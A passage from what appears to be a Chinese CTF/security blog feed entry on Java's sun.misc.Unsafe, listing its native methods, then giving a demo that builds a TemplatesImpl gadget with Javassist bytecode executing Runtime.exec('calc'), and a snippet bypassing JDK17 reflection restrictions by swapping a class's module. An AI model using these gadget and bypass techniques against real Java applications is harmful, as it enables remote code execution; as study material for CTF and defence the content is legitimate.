class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//分配内存, 相当于C++的malloc函数</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">long</span> <span class="title function_">allocateMemory</span><span class="params">(<span class="type">long</span> bytes)</span>;</span><br><span class="line"><span class="comment">//扩充内存</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">long</span> <span class="title function_">reallocateMemory</span><span class="params">(<span class="type">long</span> address, <span class="type">long</span> bytes)</span>;</span><br><span class="line"><span class="comment">//释放内存</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">freeMemory</span><span class="params">(<span class="type">long</span> address)</span>;</span><br><span class="line"><span class="comment">//在给定的内存块中设置值</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">setMemory</span><span class="params">(Object o, <span class="type">long</span> offset, <span class="type">long</span> bytes, <span class="type">byte</span> value)</span>;</span><br><span class="line"><span class="comment">//内存拷贝</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">copyMemory</span><span class="params">(Object srcBase, <span class="type">long</span> srcOffset, Object destBase, <span class="type">long</span> destOffset, <span class="type">long</span> bytes)</span>;</span><br><span class="line"><span class="comment">//获取给定地址值，忽略修饰限定符的访问限制。与此类似操作还有: getInt，getDouble，getLong，getChar等</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title function_">getObject</span><span class="params">(Object o, <span class="type">long</span> offset)</span>;</span><br><span class="line"><span class="comment">//为给定地址设置值，忽略修饰限定符的访问限制，与此类似操作还有: putInt,putDouble，putLong，putChar等</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">putObject</span><span class="params">(Object o, <span class="type">long</span> offset, Object x)</span>;</span><br><span class="line"><span class="comment">//获取给定地址的byte类型的值（当且仅当该内存地址为allocateMemory分配时，此方法结果为确定的）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">byte</span> <span class="title function_">getByte</span><span class="params">(<span class="type">long</span> address)</span>;</span><br><span class="line"><span class="comment">//为给定地址设置byte类型的值（当且仅当该内存地址为allocateMemory分配时，此方法结果才是确定的）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">putByte</span><span class="params">(<span class="type">long</span> address, <span class="type">byte</span> x)</span>;</span><br></pre></td></tr></table></figure><h2 id="Class相关"><a href="#Class相关" class="headerlink" title="Class相关"></a>Class相关</h2><p>此部分主要提供Class和它的静态字段的操作相关方法，包含静态字段内存定位、定义类、定义匿名类、检验&amp;确保初始化等。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//获取给定静态字段的内存地址偏移量，这个值对于给定的字段是唯一且固定不变的</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">long</span> <span class="title function_">staticFieldOffset</span><span class="params">(Field f)</span>;</span><br><span class="line"><span class="comment">//获取一个静态类中给定字段的对象指针</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title function_">staticFieldBase</span><span class="params">(Field f)</span>;</span><br><span class="line"><span class="comment">//判断是否需要初始化一个类，通常在获取一个类的静态属性的时候（因为一个类如果没初始化，它的静态属性也不会初始化）使用。 当且仅当ensureClassInitialized方法不生效时返回false。</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">boolean</span> <span class="title function_">shouldBeInitialized</span><span class="params">(Class&lt;?&gt; c)</span>;</span><br><span class="line"><span class="comment">//检测给定的类是否已经初始化。通常在获取一个类的静态属性的时候（因为一个类如果没初始化，它的静态属性也不会初始化）使用。</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">ensureClassInitialized</span><span class="params">(Class&lt;?&gt; c)</span>;</span><br><span class="line"><span class="comment">//定义一个类，此方法会跳过JVM的所有安全检查，默认情况下，ClassLoader（类加载器）和ProtectionDomain（保护域）实例来源于调用者</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Class&lt;?&gt; defineClass(String name, <span class="type">byte</span>[] b, <span class="type">int</span> off, <span class="type">int</span> len, ClassLoader loader, ProtectionDomain protectionDomain);</span><br><span class="line"><span class="comment">//定义一个匿名类</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Class&lt;?&gt; defineAnonymousClass(Class&lt;?&gt; hostClass, <span class="type">byte</span>[] data, Object[] cpPatches);</span><br></pre></td></tr></table></figure><h2 id="对象操作"><a href="#对象操作" class="headerlink" title="对象操作"></a>对象操作</h2><p>此部分主要包含对象成员属性相关操作及非常规的对象实例化方式等相关方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//返回对象成员属性在内存地址相对于此对象的内存地址的偏移量</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="type">long</span> <span class="title function_">objectFieldOffset</span><span class="params">(Field f)</span>;</span><br><span class="line"><span class="comment">//获得给定对象的指定地址偏移量的值，与此类似操作还有：getInt，getDouble，getLong，getChar等</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title function_">getObject</span><span class="params">(Object o, <span class="type">long</span> offset)</span>;</span><br><span class="line"><span class="comment">//给定对象的指定地址偏移量设值，与此类似操作还有：putInt，putDouble，putLong，putChar等</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">putObject</span><span class="params">(Object o, <span class="type">long</span> offset, Object x)</span>;</span><br><span class="line"><span class="comment">//从对象的指定偏移量处获取变量的引用，使用volatile的加载语义</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title function_">getObjectVolatile</span><span class="params">(Object o, <span class="type">long</span> offset)</span>;</span><br><span class="line"><span class="comment">//存储变量的引用到对象的指定的偏移量处，使用volatile的存储语义</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">putObjectVolatile</span><span class="params">(Object o, <span class="type">long</span> offset, Object x)</span>;</span><br><span class="line"><span class="comment">//有序、延迟版本的putObjectVolatile方法，不保证值的改变被其他线程立即看到。只有在field被volatile修饰符修饰时有效</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title function_">putOrderedObject</span><span class="params">(Object o, <span class="type">long</span> offset, Object x)</span>;</span><br><span class="line"><span class="comment">//绕过构造方法、初始化代码来创建对象</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">native</span> Object <span class="title function_">allocateInstance</span><span class="params">(Class&lt;?&gt; cls)</span> <span class="keyword">throws</span> InstantiationException;</span><br></pre></td></tr></table></figure><h2 id="Demo"><a href="#Demo" class="headerlink" title="Demo"></a>Demo</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  </span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  </span><br><span class="line"><span class="keyword">import</span> com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  </span><br><span class="line"><span class="keyword">import</span> javassist.*;  </span><br><span class="line"><span class="keyword">import</span> sun.misc.Unsafe;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">import</span> java.io.IOException;  </span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Field;  </span><br><span class="line"><span class="keyword">import</span> java.util.Scanner;  </span><br><span class="line">  </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Test</span> &#123;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception &#123;  </span><br><span class="line">        Class&lt;?&gt; name = Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">theUnsafe</span> <span class="operator">=</span> name.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);  </span><br><span class="line">        theUnsafe.setAccessible(<span class="literal">true</span>);  </span><br><span class="line">        <span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) theUnsafe.get(<span class="literal">null</span>);  </span><br><span class="line">        TemplatesImpl templates= (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">name1</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_name&quot;</span>);  </span><br><span class="line">        unsafe.putObject(templates,unsafe.objectFieldOffset(name1),<span class="string">&quot;n1ght&quot;</span>);  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">tfactory</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_tfactory&quot;</span>);  </span><br><span class="line">        unsafe.putObject(templates,unsafe.objectFieldOffset(tfactory),<span class="keyword">new</span> <span class="title class_">TransformerFactoryImpl</span>());  </span><br><span class="line">        <span class="type">Field</span> <span class="variable">bytecodes</span> <span class="operator">=</span> templates.getClass().getDeclaredField(<span class="string">&quot;_bytecodes&quot;</span>);  </span><br><span class="line">        unsafe.putObject(templates,unsafe.objectFieldOffset(bytecodes),<span class="keyword">new</span> <span class="title class_">byte</span>[][]&#123;getPayload()&#125;);  </span><br><span class="line">        templates.getOutputProperties();  </span><br><span class="line">    &#125;  </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] getPayload() <span class="keyword">throws</span> NotFoundException, CannotCompileException, IOException &#123;  </span><br><span class="line">        String s=<span class="string">&quot;public MyClassLoader()&#123;Runtime.getRuntime().exec(\&quot;calc\&quot;);&#125;&quot;</span>;  </span><br><span class="line">        <span class="type">ClassPool</span> <span class="variable">classPool</span> <span class="operator">=</span> ClassPool.getDefault();  </span><br><span class="line">        classPool.importPackage(Scanner.class.getName());  </span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">ctClass</span> <span class="operator">=</span> classPool.get(AbstractTranslet.class.getName());  </span><br><span class="line">        <span class="type">CtClass</span> <span class="variable">calc</span> <span class="operator">=</span> classPool.makeClass(<span class="string">&quot;MyClassLoader&quot;</span>);  </span><br><span class="line">        calc.setSuperclass(ctClass);  </span><br><span class="line">        <span class="type">CtConstructor</span> <span class="variable">ctConstructor</span> <span class="operator">=</span> CtNewConstructor.make(s, calc);  </span><br><span class="line">        calc.addConstructor(ctConstructor);  </span><br><span class="line">        <span class="keyword">return</span> calc.toBytecode();  </span><br><span class="line">    &#125;  </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="利用UnSafe绕过jdk17对反射的限制"><a href="#利用UnSafe绕过jdk17对反射的限制" class="headerlink" title="利用UnSafe绕过jdk17对反射的限制"></a>利用UnSafe绕过jdk17对反射的限制</h2><p><a href="https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/#%E5%88%A9%E7%94%A8Unsafe%E7%BB%95%E8%BF%87JDK17-%E5%AF%B9%E5%8F%8D%E5%B0%84%E7%9A%84%E9%99%90%E5%88%B6">https://pankas.top/2023/12/05/jdk17-%E5%8F%8D%E5%B0%84%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87/#%E5%88%A9%E7%94%A8Unsafe%E7%BB%95%E8%BF%87JDK17-%E5%AF%B9%E5%8F%8D%E5%B0%84%E7%9A%84%E9%99%90%E5%88%B6</a></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">unsafeClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line"><span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> unsafeClass.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">field.setAccessible(<span class="literal">true</span>);</span><br><span class="line"><span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (Unsafe) field.get(<span class="literal">null</span>);</span><br><span class="line"><span class="type">Module</span> <span class="variable">baseModule</span> <span class="operator">=</span> Object.class.getModule();</span><br><span class="line"><span class="type">Class</span> <span class="variable">currentClass</span> <span class="operator">=</span> Main.class;</span><br><span class="line"><span class="type">long</span> <span class="variable">addr</span> <span class="operator">=</span> unsafe.objectFieldOffset(Class.class.getDeclaredField(<span class="string">&quot;module&quot;</span>));</span><br><span class="line">unsafe.getAndSetObject(currentClass, addr, baseModule);</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;a href=&quot;https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html&quot;&gt;引用文章&lt;/a&gt;&lt;/p&gt;
&lt;h1 id=&quot;基本介绍&quot;&gt;&lt;a href=&quot;#基本介绍&quot; class=&quot;h</summary>
      
    
    
    
    
    <category term="java" scheme="https://www.n1ght.cn/tags/java/"/>
    
    <category term="ctf-trick" scheme="https://www.n1ght.cn/tags/ctf-trick/"/>
    
  </entry>
  
</feed>
